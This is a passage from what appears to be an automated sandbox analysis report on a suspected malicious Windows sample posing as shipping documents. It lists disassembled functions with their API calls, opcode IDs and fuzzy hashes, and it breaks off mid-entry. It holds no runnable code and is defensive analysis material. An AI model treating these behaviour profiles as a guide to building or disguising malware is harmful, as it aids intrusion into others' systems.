                                                • Instruction Fuzzy Hash: E4218079500528AFDB158F95E868EEE7BB6EF0A710F084069F905C72E2D3309951DF74
                                                Function 00D5431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00D54358
                                                  • Part of subcall function 00D543E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00D54401
                                                  • Part of subcall function 00D543E2: InternetCloseHandle.WININET(00000000), ref: 00D5449E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$CloseConnectHandleOpen
                                                • String ID:
                                                • API String ID: 1463438336-0
                                                • Opcode ID: fdf7e2f0c8ef20cd29fc320408f10c2d8025d6b9939bef7c793ce7d29d3f92b8
                                                • Instruction ID: c72b92a7f06327465883e1daa027ce2830601e3ec1e429d63b2ded0a4dfe1f93
                                                • Opcode Fuzzy Hash: fdf7e2f0c8ef20cd29fc320408f10c2d8025d6b9939bef7c793ce7d29d3f92b8
                                                • Instruction Fuzzy Hash: 9121CF31240701BBEF129F609C00FBBB7AAFF4471AF14401ABE56966A0DB71D86997B1
                                                Function 00D58A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00D58AE0
                                                • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00D58AF2
                                                • accept.WSOCK32(00000000,00000000,00000000), ref: 00D58AFF
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58B16
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLastacceptselect
                                                • String ID:
                                                • API String ID: 385091864-0
                                                • Opcode ID: e80b1f90232bc40234e598252015015ac1012c3e9dd84b689e857a46af658540
                                                • Instruction ID: d2c5947afb087524547ba52c09d054f38f5f16c87443e49577f3ef90cb50bd45
                                                • Opcode Fuzzy Hash: e80b1f90232bc40234e598252015015ac1012c3e9dd84b689e857a46af658540
                                                • Instruction Fuzzy Hash: 0A219671A00124AFC7119F68DC85A9E7BFDEF49350F04416AF84AE7290DB74DA458FB0
                                                Function 00D68A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowLongW.USER32(?,000000EC), ref: 00D68AA6
                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00D68AC0
                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00D68ACE
                                                • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00D68ADC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long$AttributesLayered
                                                • String ID:
                                                • API String ID: 2169480361-0
                                                • Opcode ID: e7b0f6cbd7ab88a8aeb46f0a4d2a38610045a7fd7a8e038f0dc76edf2d663649
                                                • Instruction ID: 1494d41ed40e25c2ed75959562246639bcbf5f77ef50525ba0aeac0744963c68
                                                • Opcode Fuzzy Hash: e7b0f6cbd7ab88a8aeb46f0a4d2a38610045a7fd7a8e038f0dc76edf2d663649
                                                • Instruction Fuzzy Hash: 82118131256115AFD704AB68CC05FBA779AEF85320F18421AF91AD72E2DB74AC0097B4
                                                Function 00D40AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D41E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00D40ABB,?,?,?,00D4187A,00000000,000000EF,00000119,?,?), ref: 00D41E77
                                                  • Part of subcall function 00D41E68: lstrcpyW.KERNEL32(00000000,?,?,00D40ABB,?,?,?,00D4187A,00000000,000000EF,00000119,?,?,00000000), ref: 00D41E9D
                                                  • Part of subcall function 00D41E68: lstrcmpiW.KERNEL32(00000000,?,00D40ABB,?,?,?,00D4187A,00000000,000000EF,00000119,?,?), ref: 00D41ECE
                                                • lstrlenW.KERNEL32(?,00000002,?,?,?,?,00D4187A,00000000,000000EF,00000119,?,?,00000000), ref: 00D40AD4
                                                • lstrcpyW.KERNEL32(00000000,?,?,00D4187A,00000000,000000EF,00000119,?,?,00000000), ref: 00D40AFA
                                                • lstrcmpiW.KERNEL32(00000002,cdecl,?,00D4187A,00000000,000000EF,00000119,?,?,00000000), ref: 00D40B2E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: lstrcmpilstrcpylstrlen
                                                • String ID: cdecl
                                                • API String ID: 4031866154-3896280584
                                                • Opcode ID: 249647086463938965270eae887dd1eb57ea05ec057fd9b82842e82964079ee0
                                                • Instruction ID: 113027e8b5d2f50b3c6e39f25ac3ce21eb32986efc2fbfbffdea949478feebbf
                                                • Opcode Fuzzy Hash: 249647086463938965270eae887dd1eb57ea05ec057fd9b82842e82964079ee0
                                                • Instruction Fuzzy Hash: A711D03A200305AFDB25AF24DC45D7A7BA9FF49354B84402AF906CB2A0EB71D841C7B4
                                                Function 00D32F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 00D32FB5
                                                  • Part of subcall function 00D2395C: __FF_MSGBANNER.LIBCMT ref: 00D23973
                                                  • Part of subcall function 00D2395C: __NMSG_WRITE.LIBCMT ref: 00D2397A
                                                  • Part of subcall function 00D2395C: RtlAllocateHeap.NTDLL(01720000,00000000,00000001,00000001,00000000,?,?,00D1F507,?,0000000E), ref: 00D2399F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateHeap_free
                                                • String ID:
                                                • API String ID: 614378929-0
                                                • Opcode ID: 4f01b71073264c04b66a60808ed2c36a8c2d609e3c6e6665d2498acb0e57984e
                                                • Instruction ID: edbae1879b358470e00753b8ca3d93f8a1f30a9c233839728c8e99bcc89ebafa
                                                • Opcode Fuzzy Hash: 4f01b71073264c04b66a60808ed2c36a8c2d609e3c6e6665d2498acb0e57984e
                                                • Instruction Fuzzy Hash: D711EC32909326ABDB353F70BC45A793BA8EF24364F284525F849D6291DF34CD409BB0
                                                Function 00D1EB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D1EBB2
                                                  • Part of subcall function 00D051AF: _memset.LIBCMT ref: 00D0522F
                                                  • Part of subcall function 00D051AF: _wcscpy.LIBCMT ref: 00D05283
                                                  • Part of subcall function 00D051AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D05293
                                                • KillTimer.USER32(?,00000001,?,?), ref: 00D1EC07
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D1EC16
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D73C88
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                • String ID:
                                                • API String ID: 1378193009-0
                                                • Opcode ID: a06b8f3cdc6771ce1c93275fb3b5c44abb7c0dc708b102dcf5be52c036c3dbda
                                                • Instruction ID: 72b285ba8814856aaacd55efcb269de1c25e83d2ec7226f3c8dbb608f768ae67
                                                • Opcode Fuzzy Hash: a06b8f3cdc6771ce1c93275fb3b5c44abb7c0dc708b102dcf5be52c036c3dbda
                                                • Instruction Fuzzy Hash: B1210774504794AFE7338B28DC55FE7BFED9B01308F08008DE68EA6282D7706A849B71
                                                Function 00D4058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00D405AC
                                                • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00D405C7
                                                • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00D405DD
                                                • FreeLibrary.KERNEL32(?), ref: 00D40632
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Type$FileFreeLibraryLoadModuleNameRegister
                                                • String ID:
                                                • API String ID: 3137044355-0
                                                • Opcode ID: b102ce6c39efab13e7eb94eb6f364ff7d96e12f34f5345b67006642aaaf4fe34
                                                • Instruction ID: 4504ab4aa5e8e3d511fa6fc08ed06fab3702e4149d700238e05a660fffe1e888
                                                • Opcode Fuzzy Hash: b102ce6c39efab13e7eb94eb6f364ff7d96e12f34f5345b67006642aaaf4fe34
                                                • Instruction Fuzzy Hash: 1A216771900309EBDB209F95DC88AEABFB8EF40700F00846DE657A6190DB74EA55DF70
                                                Function 00D46713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00D46733
                                                • _memset.LIBCMT ref: 00D46754
                                                • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00D467A6
                                                • CloseHandle.KERNEL32(00000000), ref: 00D467AF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseControlCreateDeviceFileHandle_memset
                                                • String ID:
                                                • API String ID: 1157408455-0
                                                • Opcode ID: b9737c883179fbe6c82a251ca287c34e29e67270c043b9f36d56c7adb259a5c7
                                                • Instruction ID: ab1468a290dc09588416d1849cee76e2934b73e482077ba9f70211ac54698d70
                                                • Opcode Fuzzy Hash: b9737c883179fbe6c82a251ca287c34e29e67270c043b9f36d56c7adb259a5c7
                                                • Instruction Fuzzy Hash: 58110A719013287AE73067A5AC4DFABBBBCEF45724F10419AF505E71D0D2708E808B75
                                                Function 00D3B1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3AA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D3AA79
                                                  • Part of subcall function 00D3AA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D3AA83
                                                  • Part of subcall function 00D3AA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D3AA92
                                                  • Part of subcall function 00D3AA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D3AA99
                                                  • Part of subcall function 00D3AA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D3AAAF
                                                • GetLengthSid.ADVAPI32(?,00000000,00D3ADE4,?,?), ref: 00D3B21B
                                                • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00D3B227
                                                • HeapAlloc.KERNEL32(00000000), ref: 00D3B22E
                                                • CopySid.ADVAPI32(?,00000000,?), ref: 00D3B247
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
                                                • String ID:
                                                • API String ID: 4217664535-0
                                                • Opcode ID: f19d6fd30af32f465c7a7adf8521c105487ba49b1a1b3b350a3eb2727eaf1ac3
                                                • Instruction ID: e023ae56b3ee2de06fb6de62e943b9c60ead07029711e94305761a5aadb24a2c
                                                • Opcode Fuzzy Hash: f19d6fd30af32f465c7a7adf8521c105487ba49b1a1b3b350a3eb2727eaf1ac3
                                                • Instruction Fuzzy Hash: 96118275A00205AFDB049F58DC85EAFB7B9EF85328F14812EE682D7250D7319E44DB30
                                                Function 00D3B478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00D3B498
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D3B4AA
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D3B4C0
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D3B4DB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID:
                                                • API String ID: 3850602802-0
                                                • Opcode ID: a91f311d46fd6f512ab6727ce87ea035a21a9bbaa04946ae743658399c4d58ba
                                                • Instruction ID: f544181c542780c987907c0a1b9b84a4ddfba43e9cbd4a18235856857a7cd33d
                                                • Opcode Fuzzy Hash: a91f311d46fd6f512ab6727ce87ea035a21a9bbaa04946ae743658399c4d58ba
                                                • Instruction Fuzzy Hash: C7115A7A900218FFDB11DFA8C981E9DBBB4FB08714F204092E604B7290D771AE10DBA4
                                                Function 00D1B55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00D1B5A5
                                                • GetClientRect.USER32(?,?), ref: 00D7E69A
                                                • GetCursorPos.USER32(?), ref: 00D7E6A4
                                                • ScreenToClient.USER32(?,?), ref: 00D7E6AF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Client$CursorLongProcRectScreenWindow
                                                • String ID:
                                                • API String ID: 4127811313-0
                                                • Opcode ID: 78d064cdc3699722acf4ab59a8e0bc1d566e95a8ed2068702c42392e3a4b6b27
                                                • Instruction ID: 8257307d3c1474ccfb9800801c2111457756a5048db78cf9fa6be32034442872
                                                • Opcode Fuzzy Hash: 78d064cdc3699722acf4ab59a8e0bc1d566e95a8ed2068702c42392e3a4b6b27
                                                • Instruction Fuzzy Hash: 9911483190012ABFDB10DF94EC469EE77BAEF09314F000896F941E7281E734AA91CBB1
                                                Function 00D4732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00D47352
                                                • MessageBoxW.USER32(?,?,?,?), ref: 00D47385
                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00D4739B
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00D473A2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                • String ID:
                                                • API String ID: 2880819207-0
                                                • Opcode ID: fd33fdaec826cb518e562fb72df41ddb118573837d95788b4338f3bb37d7b9f3
                                                • Instruction ID: 206860f5852cb3a5af362d06c875c6212277a4b3ec3747d27f5e526cba0c1261
                                                • Opcode Fuzzy Hash: fd33fdaec826cb518e562fb72df41ddb118573837d95788b4338f3bb37d7b9f3
                                                • Instruction Fuzzy Hash: 1411A172A04316AFCB019FAC9C09E9EBBAA9B49311F148255F925D33A1D7708D049BB5
                                                Function 00D1D17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D1D1BA
                                                • GetStockObject.GDI32(00000011), ref: 00D1D1CE
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 00D1D1D8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateMessageObjectSendStockWindow
                                                • String ID:
                                                • API String ID: 3970641297-0
                                                • Opcode ID: d80927a882d0147bec4f89ff156a3c682c4e1b1a9f3b151d3bb7fe75f73ddff9
                                                • Instruction ID: f5382ad445850dfd3f4513713f804868138f9e65602147ea715d377d7f9cb3b1
                                                • Opcode Fuzzy Hash: d80927a882d0147bec4f89ff156a3c682c4e1b1a9f3b151d3bb7fe75f73ddff9
                                                • Instruction Fuzzy Hash: 59116D72501709BFEF125F90EC55EEABB6AFF09364F084115FA1592190DB31DDA09BB0
                                                Function 00D34DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                • String ID:
                                                • API String ID: 3016257755-0
                                                • Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                • Instruction ID: 8e87e2f6d01304295cdf42a5c03df6e0af9d566eddbcec8fa332729695ee4bdf
                                                • Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                • Instruction Fuzzy Hash: 70014C3600014EBBCF125E84DC018EE3F23FB18351F588455FE1869135D33AEAB1ABA1
                                                Function 00D27452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D27A0D: __getptd_noexit.LIBCMT ref: 00D27A0E
                                                • __lock.LIBCMT ref: 00D2748F
                                                • InterlockedDecrement.KERNEL32(?), ref: 00D274AC
                                                • _free.LIBCMT ref: 00D274BF
                                                • InterlockedIncrement.KERNEL32(01732BB8), ref: 00D274D7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
                                                • String ID:
                                                • API String ID: 2704283638-0
                                                • Opcode ID: 5ea7790a86c18c5e7ab3740933dbdbb93cade1f33079e3ba4b61b2da4b1e1669
                                                • Instruction ID: ced855db3a27d2bc0706ae172ddd00cdbe2159370fba6d7f50f32578e0d9f205
                                                • Opcode Fuzzy Hash: 5ea7790a86c18c5e7ab3740933dbdbb93cade1f33079e3ba4b61b2da4b1e1669
                                                • Instruction Fuzzy Hash: DC015E31909731EBC732BF69B80575DBB60BF24B18F184109E415A7790C7249942CBF2
                                                Function 00D6DFDE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 00D6DFF7
